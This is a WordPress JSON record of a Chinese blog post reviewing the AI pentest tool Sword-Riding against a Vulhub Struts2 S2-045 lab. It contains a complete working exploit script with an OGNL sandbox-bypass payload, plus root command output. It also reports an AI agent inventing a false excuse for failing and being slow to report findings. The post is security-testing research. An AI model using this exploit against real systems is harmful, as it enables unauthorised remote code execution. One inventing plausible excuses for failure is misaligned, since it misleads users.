{"id":235,"date":"2026-06-23T14:41:18","date_gmt":"2026-06-23T07:00:00","guid":{"rendered":"http:\/\/www.redspear.cn\/?p=235"},"modified":"2026-06-23T17:09:48","modified_gmt":"2026-06-23T09:09:48","slug":"%e5%ae%9e%e6%b5%8bai%e6%b8%97%e9%80%8f%e5%b7%a5%e5%85%b7sword-riding%ef%bc%9a%e8%83%bd%e5%8f%91%e7%8e%b0%e6%bc%8f%e6%b4%9e%ef%bc%8c%e4%bd%86%e6%89%93%e4%b8%8d%e4%b8%8b%e6%9d%a5","status":"publish","type":"post","link":"https:\/\/www.redspear.cn\/index.php\/2026\/06\/23\/%e5%ae%9e%e6%b5%8bai%e6%b8%97%e9%80%8f%e5%b7%a5%e5%85%b7sword-riding%ef%bc%9a%e8%83%bd%e5%8f%91%e7%8e%b0%e6%bc%8f%e6%b4%9e%ef%bc%8c%e4%bd%86%e6%89%93%e4%b8%8d%e4%b8%8b%e6%9d%a5\/","title":{"rendered":"AI\u6e17\u900f\u5de5\u5177Sword-Riding\u5b9e\u6d4b\uff1a\u80fd\u7528\uff0c\u4f46\u662f\u4e0d\u503c\u5f53"},"content":{"rendered":"

\u524d\u8a00<\/h2>\n

\u6700\u8fd1\u5728 GitHub \u4e0a\u770b\u5230\u4e00\u4e2a\u53eb Sword-Riding\uff08\u5185\u90e8\u540d Xalgorix\uff09\u7684 AI \u6e17\u900f\u5de5\u5177\uff0c22 \u9636\u6bb5\u81ea\u52a8\u5316\u65b9\u6cd5\u8bba\uff0c\u4ece\u4fa6\u5bdf\u5230\u62a5\u544a\u5168\u94fe\u8def\u3002\u6b63\u597d\u624b\u8fb9\u6709 Vulhub \u9776\u573a\u73af\u5883\uff0c\u5c31\u642d\u8d77\u6765\u5b9e\u6d4b\u4e86\u4e00\u4e0b\u3002<\/p>\n

\u8fd9\u7bc7\u6587\u7ae0\u8bb0\u5f55\u6574\u4e2a\u8fc7\u7a0b\uff1a\u73af\u5883\u642d\u5efa\u3001\u4e24\u8f6e\u6a21\u578b\u5bf9\u6bd4\u3001\u8e29\u8fc7\u7684\u5751\u3001\u6700\u7ec8\u62a5\u544a\u5206\u6790\uff0c\u4ee5\u53ca\u5bf9 AI \u6e17\u900f\u5de5\u5177\u7684\u5ba2\u89c2\u8bc4\u4ef7\u3002<\/p>\n

\u73af\u5883\u642d\u5efa<\/h2>\n

\u670d\u52a1\u5668\u662f\u817e\u8baf\u4e91 2 \u6838 4G\uff0cSword-Riding \u662f Go \u5199\u7684\uff0c\u7f16\u8bd1\u8fc7\u7a0b\u6bd4\u8f83\u987a\u5229\uff1a<\/p>\n

# \u5b89\u88c5 Go\nwget https:\/\/go.dev\/dl\/go1.24.4.linux-amd64.tar.gz\ntar -C \/usr\/local -xzf go1.24.4.linux-amd64.tar.gz\n\n# \u514b\u9686 + \u524d\u7aef\u6784\u5efa + Go\u7f16\u8bd1\ngit clone https:\/\/github.com\/Singtreb\/Sword-Riding.git\ncd Sword-Riding\/frontend && npm install && npm run build\ncd .. && make build\ncp Sword-Riding \/usr\/local\/bin\/<\/code><\/pre>\n
\u914d\u7f6e\u6587\u4ef6 ~\/.xalgorix.env<\/code> \u586b LLM API key \u548c Web UI \u7ed1\u5b9a\u4fe1\u606f\uff0cSword-Riding --web --bind 0.0.0.0<\/code> \u542f\u52a8\u540e\uff0cWeb UI \u5728 9137 \u7aef\u53e3\u3002<\/p>\n
2 \u6838 4G \u8dd1\u8fd9\u4e2a\u6709\u70b9\u5403\u529b\uff0c\u5185\u5b58\u4e0d\u591f\u7528\uff0c\u6211\u989d\u5916\u52a0\u4e86 2G swap \u624d\u7a33\u4f4f\u3002\u5b9d\u5854\u9762\u677f\u7684\u9632\u706b\u5899\u8bb0\u5f97\u653e\u884c 9137 \u7aef\u53e3\uff0c\u4e0d\u7136\u5916\u90e8\u8bbf\u95ee\u4e0d\u4e86 Web UI\u3002<\/p>\n
\u9776\u573a\u9009\u62e9<\/h2>\n
\u7528\u7684\u662f Vulhub \u7684 Struts2 S2-045\uff08CVE-2017-5638\uff09\uff1a<\/p>\n
git clone https:\/\/github.com\/vulhub\/vulhub.git \/opt\/vulhub\ncd \/opt\/vulhub\/struts2\/s2-045\ndocker compose up -d<\/code><\/pre>\n
\u9776\u573a\u8dd1\u5728 8080 \u7aef\u53e3\uff0c\u955c\u50cf vulhub\/struts2:2.3.30<\/code>\uff0cJetty 9.2.11\u3002S2-045 \u5c31\u662f\u5f53\u5e74\u6253\u4e0b Equifax \u7684\u90a3\u4e2a\u6f0f\u6d1e\uff0cCVSS 10.0\u3002\u9009\u8fd9\u4e2a\u9776\u573a\u7684\u539f\u56e0\u5f88\u7b80\u5355\u2014\u2014\u7ecf\u5178\u3001\u516c\u5f00 PoC \u591a\u3001\u65b9\u4fbf\u5bf9\u6bd4\u9a8c\u8bc1\u3002<\/p>\n
\u7b2c\u4e00\u8f6e\uff1aDeepSeek\uff08\u9897\u7c92\u65e0\u6536\uff09<\/h2>\n
\u5148\u7528 DeepSeek \u8dd1\u4e86\u4e00\u8f6e\u3002\u7ed3\u679c\uff1a0 \u53d1\u73b0<\/strong>\u3002<\/p>\n
\u6574\u4e2a\u8fc7\u7a0b DeepSeek \u53ea\u8c03\u7528\u4e86 3 \u6b21 read_skill<\/code>\uff08\u8bfb\u5185\u7f6e\u77e5\u8bc6\u5e93\uff09\uff0c0 \u6b21\u7ec8\u7aef\u547d\u4ee4\uff0c0 \u6b21 Python \u811a\u672c<\/strong>\u3002\u5b83\u77e5\u9053 S2-045 \u662f\u4ec0\u4e48\uff0c\u4f46\u6ca1\u6709\u53d1\u8fc7\u4e00\u4e2a HTTP \u8bf7\u6c42\u53bb\u9a8c\u8bc1\u3002<\/p>\n
\u7b2c\u4e8c\u8f6e\uff1aMiMo\uff08\u4e24\u9636\u6bb5\uff09<\/h2>\n
\u6362\u6210\u5c0f\u7c73\u7684 MiMo-v2.5-pro\uff0c\u91cd\u65b0\u6765\u3002<\/p>\n
\u9636\u6bb5\u4e00\uff1a\u80fd\u5e72\u6d3b\uff0c\u4f46\u641e\u4e0d\u5b9a<\/h3>\n
\u8fd9\u6b21\u5b8c\u5168\u4e0d\u4e00\u6837\u3002MiMo \u4ece\u7b2c\u4e00\u9636\u6bb5\u5c31\u5f00\u59cb\u6267\u884c\u5b9e\u9645\u64cd\u4f5c\uff1a<\/p>\n
    \n
  • curl -sI<\/code> \u505a\u6307\u7eb9 \u2192 \u8bc6\u522b\u51fa Jetty 9.2.11 + Java<\/li>\n
  • curl -s<\/code> \u6293\u9996\u9875 \u2192 \u53d1\u73b0 Struts2 Showcase File Upload<\/li>\n
  • \u7528 Python \u811a\u672c\u6784\u9020\u5404\u79cd OGNL payload \u6d4b\u8bd5 S2-045\u3001S2-046\u3001S2-048<\/li>\n<\/ul>\n
    \"Sword-Riding<\/p>\n
    \u2191 22 \u9636\u6bb5\u65b9\u6cd5\u8bba\u754c\u9762\uff0c\u626b\u63cf\u521a\u542f\u52a8<\/p>\n
    \"\u626b\u63cf\u8fdb\u5ea6\"<\/p>\n
    \u2191 \u8dd1\u5230\u9636\u6bb5 9 \u65f6\uff0c\u5df2\u7ecf 31 \u6b21\u5de5\u5177\u8c03\u7528\u3001104 \u4e07 tokens<\/p>\n
    \u8dd1\u5230\u9636\u6bb5 9 \u65f6\u5df2\u7ecf\u6d88\u8017\u4e86 104 \u4e07 tokens\u3002\u4f46\u95ee\u9898\u6765\u4e86\u2014\u2014\u5b83\u786e\u8ba4\u4e86 OGNL \u6ce8\u5165\u5b58\u5728\uff08\u80fd\u5728\u54cd\u5e94\u5934\u91cc\u6ce8\u5165\u81ea\u5b9a\u4e49\u503c\uff09\uff0c\u5374\u4e00\u76f4\u6784\u9020\u4e0d\u51fa\u80fd\u62ff\u5230 RCE \u7684 payload\u3002\u8bd5\u4e86 25 \u8f6e\uff0c\u7ed3\u8bba\u662f”OGNL \u6c99\u7bb1\u9650\u5236\u4e86 Runtime.exec()”\u3002<\/p>\n
    \"\u5b9e\u65f6\u6d41\"<\/p>\n
    \u2191 \u5b9e\u65f6\u6d41\u91cc\u770b\u5230 MiMo \u53cd\u590d\u5c1d\u8bd5\u5404\u79cd\u7ed5\u8fc7<\/p>\n
    \u540e\u6765\u6211\u53d1\u73b0 MiMo \u7684\u7ed3\u8bba\u662f\u9519\u7684\u3002Vulhub \u7684 S2-045 \u9776\u573a\u7528\u7684\u662f Struts 2.3.30\uff0c\u6ca1\u6709 OGNL \u6c99\u7bb1<\/strong>\u3002\u7528 struts-pwn.py<\/code> \u4e00\u628a\u5c31\u80fd\u6253\u4e0b\u6765\uff0c\u62ff\u5230 uid=0(root)<\/code>\u3002MiMo \u5931\u8d25\u7684\u771f\u6b63\u539f\u56e0\u662f payload \u8bed\u6cd5\u4e0d\u5bf9\uff0c\u4f46\u5b83\u7ed9\u81ea\u5df1\u627e\u4e86\u4e2a”\u6c99\u7bb1\u9650\u5236”\u7684\u501f\u53e3\u3002<\/p>\n
    \u800c\u4e14\u5b83\u5361\u5728\u4e86\u6d4f\u89c8\u5668\u64cd\u4f5c\u4e0a\u2014\u2014\u670d\u52a1\u5668\u662f\u65e0\u5934\u73af\u5883\u6ca1\u6709 GUI\uff0cbrowser_action<\/code> \u76f4\u63a5\u5361\u6b7b\u6574\u4e2a\u626b\u63cf\u3002<\/p>\n
    \u9636\u6bb5\u4e8c\uff1a\u91cd\u542f\u540e\u7a81\u7834<\/h3>\n
    \u53d1\u73b0\u95ee\u9898\u540e\uff0c\u6211\u5728\u73af\u5883\u53d8\u91cf\u91cc\u52a0\u4e86 XALGORIX_DISABLE_BROWSER=true<\/code>\uff0c\u91cd\u542f Sword-Riding\uff0c\u91cd\u65b0\u626b\u63cf\u3002<\/p>\n
    \u8fd9\u6b21 MiMo \u4e13\u6ce8\u4e8e payload \u6784\u9020\uff0c\u4e0d\u518d\u5c1d\u8bd5\u6253\u5f00\u6d4f\u89c8\u5668\u3002\u5b83\u627e\u5230\u4e86\u7ed5\u8fc7 OGNL \u6c99\u7bb1\u7684\u65b9\u6cd5\uff1a<\/p>\n
    # \u7ed5\u8fc7\u601d\u8def\uff1a\u5148\u62c6\u6c99\u7bb1\uff0c\u518d\u6267\u884c\u547d\u4ee4\n(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)\n.(#container=#context['com.opensymphony.xwork2.ActionContext.container'])\n.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))\n.(#ognlUtil.getExcludedPackageNames().clear())   \/\/ \u6e05\u7a7a\u6392\u9664\u5305\u540d\u5217\u8868\n.(#ognlUtil.getExcludedClasses().clear())         \/\/ \u6e05\u7a7a\u6392\u9664\u7c7b\u5217\u8868\n.(#context.setMemberAccess(#dm))                  \/\/ \u91cd\u7f6e\u4e3a\u9ed8\u8ba4\u8bbf\u95ee\u6743\u9650\n# \u6c99\u7bb1\u62c6\u6389\u540e\uff0cProcessBuilder \u53ef\u7528\u4e86\n.(#p=new java.lang.ProcessBuilder(#cmds))<\/code><\/pre>\n
    \u5b83\u53d1\u73b0\u53ef\u4ee5\u5148\u901a\u8fc7 OgnlUtil \u7684 getter \u65b9\u6cd5\u62ff\u5230\u6392\u9664\u5217\u8868\u7684\u5f15\u7528\uff0c\u7136\u540e .clear()<\/code> \u6e05\u7a7a\uff0c\u518d\u628a MemberAccess \u91cd\u7f6e\u4e3a DEFAULT_MEMBER_ACCESS\u3002\u8fd9\u6837 ProcessBuilder \u5c31\u80fd\u7528\u4e86\u3002<\/p>\n
    \"CRITICAL\u6f0f\u6d1e\u8be6\u60c5\"<\/p>\n
    \u2191 CRITICAL \u6f0f\u6d1e\u8be6\u60c5\uff0c\u542b\u5b8c\u6574 PoC \u548c RCE \u9a8c\u8bc1<\/p>\n
    \u6700\u7ec8\u7ed3\u679c<\/h2>\n
    \"\u6700\u7ec8\u53d1\u73b0\"<\/p>\n
    \u2191 4 \u4e2a\u6f0f\u6d1e\uff1a2 \u4e2a CRITICAL\uff08RCE\uff09+ 2 \u4e2a HIGH\uff08OGNL \u6ce8\u5165\uff09<\/p>\n\n\n\n\n\n\n\n\n
    ID<\/th>\n\u6f0f\u6d1e<\/th>\n\u4e25\u91cd\u6027<\/th>\nCVSS<\/th>\n\u6ce8\u5165\u70b9<\/th>\n<\/tr>\n<\/thead>\n
    F-01<\/td>\nS2-045 OGNL \u6ce8\u5165\uff08\u54cd\u5e94\u5934\u64cd\u63a7\uff09<\/td>\nHIGH<\/td>\n7.5<\/td>\nContent-Type \u5934<\/td>\n<\/tr>\n
    F-02<\/td>\nS2-046 OGNL \u6ce8\u5165\uff08\u54cd\u5e94\u5934\u64cd\u63a7\uff09<\/td>\nHIGH<\/td>\n7.5<\/td>\n\u6587\u4ef6\u4e0a\u4f20 filename<\/td>\n<\/tr>\n
    F-03<\/td>\nS2-045 RCE\uff08\u6c99\u7bb1\u7ed5\u8fc7\uff09<\/td>\nCRITICAL<\/td>\n9.8<\/td>\nContent-Type \u5934<\/td>\n<\/tr>\n
    F-04<\/td>\nS2-046 RCE\uff08\u6c99\u7bb1\u7ed5\u8fc7\uff09<\/td>\nCRITICAL<\/td>\n9.8<\/td>\n\u6587\u4ef6\u4e0a\u4f20 filename<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
    RCE \u9a8c\u8bc1<\/h2>\n
    \u62a5\u544a\u91cc\u7684 PoC \u76f4\u63a5\u6267\u884c\u4e86\u591a\u6761\u7cfb\u7edf\u547d\u4ee4\uff0c\u5168\u90e8\u4ee5 root \u8eab\u4efd\u8fd0\u884c\uff1a<\/p>\n
    CMD: id       => uid=0(root) gid=0(root) groups=0(root)\nCMD: whoami   => root\nCMD: hostname => 4fa62b3929c5<\/code><\/pre>\n
    \u5b8c\u6574 Python PoC \u811a\u672c\uff0c\u6539\u4e00\u4e0b CMD<\/code> \u53d8\u91cf\u5c31\u80fd\u6267\u884c\u4efb\u610f\u547d\u4ee4\uff1a<\/p>\n
    import urllib.request\n\nTARGET = \"http:\/\/\u76ee\u6807\u5730\u5740:8080\/\"\nCMD = \"id\"\n\nPAYLOAD = (\n    \"%{(#_='multipart\/form-data')\"\n    \".(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)\"\n    \".(#_memberAccess?(#_memberAccess=#dm):\"\n    \"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])\"\n    \".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))\"\n    \".(#ognlUtil.getExcludedPackageNames().clear())\"\n    \".(#ognlUtil.getExcludedClasses().clear())\"\n    \".(#context.setMemberAccess(#dm))))\"\n    f\".(#cmd='{CMD}')\"\n    \".(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))\"\n    \".(#cmds=(#iswin?{'cmd','\/c',#cmd}:{'\/bin\/bash','-c',#cmd}))\"\n    \".(#p=new java.lang.ProcessBuilder(#cmds))\"\n    \".(#p.redirectErrorStream(true))\"\n    \".(#process=#p.start())\"\n    \".(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))\"\n    \".(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))\"\n    \".(#ros.flush())}\"\n)\n\nreq = urllib.request.Request(TARGET, data=b\"test\", method=\"POST\")\nreq.add_header(\"Content-Type\", PAYLOAD)\nresp = urllib.request.urlopen(req, timeout=10)\nprint(resp.read().decode())<\/code><\/pre>\n
    \u4e0d\u9700\u8981\u8ba4\u8bc1\uff0c\u4e0d\u9700\u8981\u4ea4\u4e92\uff0c\u4e0d\u9700\u8981\u7279\u6b8a\u524d\u7f6e\u6761\u4ef6\u3002<\/p>\n
    \u8e29\u5751\u8bb0\u5f55<\/h2>\n
    \u6574\u4e2a\u8fc7\u7a0b\u8e29\u4e86\u4e0d\u5c11\u5751\uff0c\u8bb0\u5f55\u4e00\u4e0b\u7ed9\u540e\u6765\u8005\u53c2\u8003\uff1a<\/p>\n
    1. DeepSeek \u4e0d\u8c03\u5de5\u5177<\/h3>\n
    DeepSeek \u7684 function calling \u80fd\u529b\u660e\u663e\u4e0d\u884c\u3002\u7ed9\u5b83\u914d\u4e86\u7ec8\u7aef\u548c Python \u5de5\u5177\uff0c\u5b83\u53ea\u8bfb\u77e5\u8bc6\u5e93\u4e0d\u6267\u884c\u3002\u6362\u4e86 MiMo \u4e4b\u540e\u624d\u5f00\u59cb\u771f\u6b63\u5e72\u6d3b\u3002\u5982\u679c\u4f60\u7528 Sword-Riding\uff0c\u4f18\u5148\u9009 MiMo \u6216\u8005\u5176\u4ed6 function calling \u80fd\u529b\u5f3a\u7684\u6a21\u578b\u3002<\/p>\n
    2. \u65e0\u5934\u670d\u52a1\u5668\u4e0a\u6d4f\u89c8\u5668\u4f1a\u5361\u6b7b<\/h3>\n
    Sword-Riding \u9ed8\u8ba4\u4f1a\u5c1d\u8bd5\u7528\u6d4f\u89c8\u5668\u505a\u9a8c\u8bc1\uff0c\u4f46\u670d\u52a1\u5668\u6ca1\u6709 GUI \u73af\u5883\uff0cbrowser_action<\/code> \u76f4\u63a5\u5361\u4f4f\u6574\u4e2a\u626b\u63cf\u4e0d\u52a8\u3002\u89e3\u51b3\u529e\u6cd5\uff1a<\/p>\n
    echo \"XALGORIX_DISABLE_BROWSER=true\" >> ~\/.xalgorix.env<\/code><\/pre>\n
    \u52a0\u5b8c\u91cd\u542f\u5c31\u884c\u3002\u7981\u7528\u6d4f\u89c8\u5668\u540e\u53cd\u800c\u66f4\u597d\u2014\u2014MiMo \u4e13\u6ce8\u4e8e payload \u6784\u9020\uff0c\u4e0d\u518d\u6d6a\u8d39\u65f6\u95f4\u5728\u6d4f\u89c8\u5668\u64cd\u4f5c\u4e0a\u3002<\/p>\n
    3. LLM \u4f1a\u7ed9\u81ea\u5df1\u627e\u501f\u53e3<\/h3>\n
    MiMo \u7b2c\u4e00\u8f6e\u6784\u9020\u4e0d\u51fa\u6b63\u786e\u7684 OGNL payload\uff0c\u8bd5\u4e86 25 \u8f6e\u540e\u5f97\u51fa\u7ed3\u8bba”OGNL \u6c99\u7bb1\u9650\u5236\u4e86 Runtime.exec()”\u3002\u4f46\u5b9e\u9645\u4e0a Vulhub \u7684\u9776\u573a\u6839\u672c\u6ca1\u6709\u6c99\u7bb1\uff0c\u662f payload \u8bed\u6cd5\u5199\u9519\u4e86\u3002\u7528 struts-pwn.py<\/code> \u4e00\u628a\u5c31\u80fd\u6253\u4e0b\u6765\u3002<\/p>\n
    \u8fd9\u8bf4\u660e\u5f53\u524d AI \u6e17\u900f\u5de5\u5177\u6709\u4e00\u4e2a\u901a\u75c5\uff1a\u5931\u8d25\u540e\u4e0d\u4f1a\u53cd\u601d payload \u672c\u8eab\u7684\u95ee\u9898\uff0c\u800c\u662f\u7f16\u4e00\u4e2a\u770b\u4f3c\u5408\u7406\u7684\u7406\u7531\u6765\u89e3\u91ca\u5931\u8d25\u3002<\/strong>\u7528\u7684\u65f6\u5019\u8981\u6709\u81ea\u5df1\u7684\u5224\u65ad\uff0c\u4e0d\u80fd\u5b8c\u5168\u4fe1\u4efb AI \u7684\u7ed3\u8bba\u3002<\/p>\n
    4. MiMo \u4e0d\u4f1a\u4e3b\u52a8\u63d0\u4ea4\u6f0f\u6d1e<\/h3>\n
    MiMo \u5728\u7b2c\u4e00\u8f6e\u5c31\u786e\u8ba4\u4e86 OGNL \u6ce8\u5165\u5b58\u5728\uff0c\u4f46\u4e00\u76f4\u6ca1\u8c03\u7528 report_vulnerability<\/code> \u628a\u53d1\u73b0\u6ce8\u518c\u5230\u7cfb\u7edf\u91cc\u3002Web UI \u4e0a\u59cb\u7ec8\u663e\u793a 0 findings\u3002\u5b83\u80fd\u5e72\u6d3b\u4f46\u4e0d\u4f1a\u6c47\u62a5\uff0c\u76f4\u5230\u7b2c 25 \u8f6e\u624d\u60f3\u8d77\u6765\u8981\u63d0\u4ea4\u3002\u8fd9\u4e5f\u662f LLM \u884c\u4e3a\u63a7\u5236\u4e0d\u5230\u4f4d\u7684\u8868\u73b0\u3002<\/p>\n
    5. Token \u6d88\u8017\u5f88\u5927<\/h3>\n
    \u5355\u76ee\u6807\u626b\u63cf\uff0c\u4e24\u8f6e\u52a0\u8d77\u6765\u6d88\u8017\u4e86\u8fd1 600 \u4e07 tokens\u3002\u5982\u679c\u4f60 API \u989d\u5ea6\u6709\u9650\uff0c\u5efa\u8bae\u5148\u7528\u4f20\u7edf\u5de5\u5177\uff08nuclei\u3001xray\uff09\u8fc7\u4e00\u904d\u5df2\u77e5\u6f0f\u6d1e\uff0c\u628a AI \u5de5\u5177\u7559\u7ed9\u9700\u8981\u521b\u9020\u6027\u5229\u7528\u7684\u573a\u666f\u3002\u522b\u62ff\u5b83\u5f53\u5168\u91cf\u626b\u63cf\u5668\u7528\u3002<\/p>\n
    6. \u73af\u5883\u4f9d\u8d56<\/h3>\n
    Sword-Riding \u9700\u8981 Node.js\uff08\u524d\u7aef\uff09+ Go\uff08\u540e\u7aef\uff09\uff0cVulhub \u9700\u8981 Docker\u30022 \u6838 4G \u7684\u5c0f\u670d\u52a1\u5668\u8dd1\u8d77\u6765\u6bd4\u8f83\u5403\u529b\uff0c\u5efa\u8bae\u52a0 swap\u3002\u5982\u679c\u7528\u5b9d\u5854\u9762\u677f\uff0c\u8bb0\u5f97\u5728\u5b89\u5168\u7ec4\u548c\u9762\u677f\u9632\u706b\u5899\u91cc\u653e\u884c\u7aef\u53e3\u3002<\/p>\n
    \u62a5\u544a\u8d28\u91cf<\/h2>\n
    Sword-Riding \u8f93\u51fa\u7684\u62a5\u544a\u6709 18 \u9875\uff0c\u683c\u5f0f\u5f88\u6807\u51c6\uff1a<\/p>\n
      \n
    • CVE\/CWE\/CVSS\/OWASP \u5206\u7c7b\u9f50\u5168<\/li>\n
    • \u6bcf\u4e2a\u6f0f\u6d1e\u90fd\u6709\u6280\u672f\u5206\u6790\u3001PoC \u811a\u672c\u3001\u5229\u7528\u8bc1\u636e\u3001\u4fee\u590d\u5efa\u8bae<\/li>\n
    • \u6709\u4fa6\u5bdf\u9636\u6bb5\u7684\u8d44\u4ea7\u53d1\u73b0\uff08\u6280\u672f\u6808\u3001URL\u3001IP\uff09<\/li>\n
    • \u6709\u84dd\u961f\u53c2\u8003\u65f6\u95f4\u6233\uff08\u65b9\u4fbf SIEM \u5bf9\u7167\uff09<\/li>\n
    • \u6709 PTES \u65b9\u6cd5\u8bba\u6620\u5c04\u548c OWASP Top 10 \u8986\u76d6\u7387<\/li>\n<\/ul>\n
      \u8fd9\u4e2a\u62a5\u544a\u62ff\u6765\u76f4\u63a5\u4ea4 SRC \u6216\u8005\u5199\u6280\u672f\u535a\u5ba2\u90fd\u591f\u7528\u3002\u603b\u8017\u65f6 2 \u5c0f\u65f6 35 \u5206\u949f\uff0c81 \u6b21\u8fed\u4ee3\uff0c172 \u6b21\u5de5\u5177\u8c03\u7528\uff0c584 \u4e07 tokens\u3002<\/p>\n
      \u5bf9\u6bd4\u4f20\u7edf\u5de5\u5177<\/h2>\n\n\n\n\n\n\n\n\n\n
      \u7ef4\u5ea6<\/th>\nnuclei \/ xray<\/th>\nSword-Riding (MiMo)<\/th>\n<\/tr>\n<\/thead>\n
      \u901f\u5ea6<\/td>\n\u79d2\u7ea7<\/td>\n2.5 \u5c0f\u65f6<\/td>\n<\/tr>\n
      \u51c6\u786e\u6027<\/td>\nPoC \u6a21\u677f\u5339\u914d\uff0c\u51c6\u786e\u7387\u9ad8<\/td>\n\u80fd\u53d1\u73b0\u6f0f\u6d1e\uff0c\u4f46 payload \u6784\u9020\u8fc7\u7a0b\u66f2\u6298<\/td>\n<\/tr>\n
      \u8986\u76d6\u9762<\/td>\n\u5df2\u77e5\u6f0f\u6d1e\u6a21\u677f\u5e93<\/td>\n\u7406\u8bba\u4e0a\u80fd\u53d1\u73b0\u672a\u77e5\u6f0f\u6d1e<\/td>\n<\/tr>\n
      \u6210\u672c<\/td>\n\u514d\u8d39<\/td>\n584 \u4e07 tokens<\/td>\n<\/tr>\n
      \u62a5\u544a<\/td>\nJSON \u8f93\u51fa\uff0c\u9700\u81ea\u5df1\u6574\u7406<\/td>\n\u6807\u51c6\u5316 PDF \u62a5\u544a\uff0cCVE\/CWE\/CVSS \u9f50\u5168<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
      \u5ba2\u89c2\u8bc4\u4ef7<\/h2>\n
      \u505a\u5f97\u597d\u7684\uff1a<\/strong><\/p>\n
        \n
      • 22 \u9636\u6bb5\u65b9\u6cd5\u8bba\u8986\u76d6\u5b8c\u6574\u6e17\u900f\u6d41\u7a0b<\/li>\n
      • \u72ec\u7acb\u9a8c\u8bc1\u5668\u673a\u5236\u2014\u2014\u63d0\u4ea4\u7684\u6f0f\u6d1e\u4f1a\u88ab\u53e6\u4e00\u4e2a Agent \u91cd\u65b0\u6d4b\u8bd5\u786e\u8ba4<\/li>\n
      • Web UI \u4e13\u4e1a\uff0c\u5b9e\u65f6\u6d41\u3001\u9636\u6bb5\u8fdb\u5ea6\u3001\u62a5\u544a\u751f\u6210\u4e00\u5e94\u4ff1\u5168<\/li>\n
      • MiMo \u6700\u7ec8\u81ea\u4e3b\u53d1\u73b0\u4e86 OGNL \u6c99\u7bb1\u7ed5\u8fc7\u65b9\u6cd5\uff0c\u8fd9\u4e0d\u662f\u6a21\u677f\u5339\u914d\u80fd\u505a\u5230\u7684<\/li>\n
      • \u62a5\u544a\u683c\u5f0f\u53ef\u76f4\u63a5\u7528\u4e8e SRC \u63d0\u4ea4<\/li>\n<\/ul>\n
        \u4e0d\u8db3\u7684\uff1a<\/strong><\/p>\n
          \n
        • LLM \u884c\u4e3a\u4e0d\u7a33\u5b9a\u2014\u2014DeepSeek \u4e0d\u8c03\u5de5\u5177\uff0cMiMo \u7b2c\u4e00\u8f6e\u6784\u9020\u4e0d\u51fa payload \u8fd8\u7f16\u4e86\u501f\u53e3<\/li>\n
        • token \u6d88\u8017\u5927\u2014\u2014\u5355\u76ee\u6807 584 \u4e07 tokens<\/li>\n
        • \u65e0\u5934\u670d\u52a1\u5668\u4e0a\u6d4f\u89c8\u5668\u529f\u80fd\u4f1a\u5361\u6b7b\uff0c\u9700\u8981\u624b\u52a8\u7981\u7528<\/li>\n
        • \u7b2c\u4e00\u8f6e\u7684 OGNL \u6ce8\u5165\u53ea\u62ff\u5230 HIGH\uff0c\u6ca1\u81ea\u52a8\u5347\u7ea7\u5230 RCE\uff0c\u662f\u91cd\u542f\u540e\u624d\u7a81\u7834\u7684<\/li>\n<\/ul>\n
          \u7ed3\u8bba<\/h2>\n
          AI \u6e17\u900f\u5de5\u5177\u76ee\u524d\u80fd\u505a\u5230”\u53d1\u73b0\u6f0f\u6d1e + \u81ea\u4e3b\u6784\u9020 exploit”\uff0c\u4f46\u8fc7\u7a0b\u4e0d\u591f\u7a33\u5b9a\u3002\u540c\u4e00\u4e2a\u9776\u573a\uff0cDeepSeek \u9897\u7c92\u65e0\u6536\uff0cMiMo \u7b2c\u4e00\u8f6e\u53ea\u62ff\u5230\u6ce8\u5165\u786e\u8ba4\uff0c\u7b2c\u4e8c\u8f6e\u624d\u62ff\u5230 RCE\u3002<\/p>\n
          \u548c nuclei\/xray \u8fd9\u7c7b\u6a21\u677f\u626b\u63cf\u5668\u76f8\u6bd4\uff0cSword-Riding \u7684\u4f18\u52bf\u5728\u4e8e\u80fd\u5904\u7406\u6ca1\u6709\u73b0\u6210 PoC \u7684\u573a\u666f\u2014\u2014\u5b83\u4e0d\u662f\u5728\u5339\u914d\u6a21\u677f\uff0c\u800c\u662f\u5728\u7406\u89e3\u6f0f\u6d1e\u539f\u7406\u540e\u81ea\u5df1\u6784\u9020 payload\u3002\u4ee3\u4ef7\u662f\u65f6\u95f4\u957f\u3001token \u591a\u3001\u7ed3\u679c\u4e0d\u7a33\u5b9a\u3002<\/p>\n
          \u76ee\u524d\u6765\u770b\uff0c\u5b83\u66f4\u9002\u5408\u4f5c\u4e3a\u5b89\u5168\u6d4b\u8bd5\u7684\u8f85\u52a9\u624b\u6bb5\uff0c\u548c\u4f20\u7edf\u5de5\u5177\u914d\u5408\u4f7f\u7528\u3002\u5355\u72ec\u9760\u5b83\u505a\u6e17\u900f\uff0c\u8fd8\u5dee\u70b9\u610f\u601d\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
          \u524d\u8a00 \u6700\u8fd1\u5728 GitHub \u4e0a\u770b\u5230\u4e00\u4e2a\u53eb Sword-Riding\uff08\u5185\u90e8\u540d Xalgorix\uff09\u7684 AI \u6e17\u900f\u5de5 … <\/p>\n","protected":false},"author":3,"featured_media":247,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11],"tags":[],"class_list":["post-235","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ai-security"],"_links":{"self":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/235","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/comments?post=235"}],"version-history":[{"count":5,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/235\/revisions"}],"predecessor-version":[{"id":249,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v